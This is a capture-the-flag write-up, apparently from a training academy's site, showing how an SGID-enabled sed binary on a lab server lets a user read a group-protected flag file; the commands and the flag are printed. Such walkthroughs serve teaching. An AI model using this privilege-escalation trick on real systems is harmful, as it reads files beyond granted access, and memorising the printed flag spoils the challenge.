

PentTESTGORage

superid

🕒 Created	@Jan 17, 2021 8:21 AM
🏷️ tags	linux-privesc sgid-abuse

we are given an username, a ssh key and an endpoint to connect to as `35.184.207.253:22` now we can ssh into the server using the provided ssh key and username.

```
> ssh -i id_ecdsa user@35.184.207.253
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 4.19.150+ x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user@20superid1610852253544562018-f86db7965-zf7h6:~$
```

now we can enumerate the server and during which we will find that the binary `sed` is marked as sgid with the group owner as `ctf`

```
user@20superid1610852253544562018-f86db7965-zf7h6:~$ find / -group ctf 2>/dev/null
/home/ctf
/home/ctf/.bash_logout
/home/ctf/.profile
/home/ctf/.bashrc
/home/ctf/flag
/usr/bin/sed
user@20superid1610852253544562018-f86db7965-zf7h6:~$ ls -al /usr/bin/sed
```

```
-rwxr-sr-x 1 root ctf 121288 Dec 22 2018 /usr/bin/sed
user@20superid1610852253544562018-f86db7965-zf7h6:~$
```

we can abuse this configuration to read the flag file which is only readable by the user `ctf` using the following command.

```
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ cat flag
cat: flag: Permission denied
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ ls -al flag
-r--r----- 1 root ctf 40 Jan 16 04:20 flag
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ sed '' flag
```

```
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ cat flag
cat: flag: Permission denied
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ ls -al flag
-r--r----- 1 root ctf 40 Jan 16 04:20 flag
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ sed '' flag
ctf[su!d_b!n4r!es_4r3_b4d_f0r_s3cur!ty]
user@20superid1610852253544562018-f86db7965-zf7h6:/home/ctf$ |
```

An Edutech product of
RedTeam Hacker Academy Pvt. Ltd.

PentestGorage

REDTEAM360
AMALGAMATING CYBERSECURITY EDUCATION

RedTeam Hacker Academy Pvt. Ltd.

An ISO 9001 - 2015 Certified Company

Contact

PUNE

Level 4, Prabhavate Tech Park,
Baner, Pune, Maharashtra 411045A

+91 859 060 4105

TRIVANDRUM

2nd Floor, Athens Plaza, SS Kovil Road,
Near Apollo Dimora, Opposite
Central Railway Station, Thampanoor,
Thiruvananthapuram, Kerala 695001

+91 956 219 5666

MANGALORE

2nd Floor, Alfa Towers,
Balmatta Rd, Hampankatta,
Mangalore, Karnataka 575001

+91 789 923 4666

KOCHI

1st Floor, Kariyappilli Tower,
Near Kinder Hospital, Metro Pillar
No.345, VMB Road,
Pathadippalam, Edappally,
Ernakulam, Kerala 682024

+91 956 290 4666

CALICUT

3rd Floor, Thayyil Arcade,
Opposite Baby Memorial Hospital,
V. Panoli Road, Azhakodi Temple Road,
Kozhikode, Kerala 673004

+91 956 250 3666

KOTTAKKAL

4th Floor, K.P.M Tower,
Above South Indian Bank
Tirur, Malappuram, Manjeri Rd,
Kottakkal, Kerala 676503

+91 984 629 1666



@redteamacademy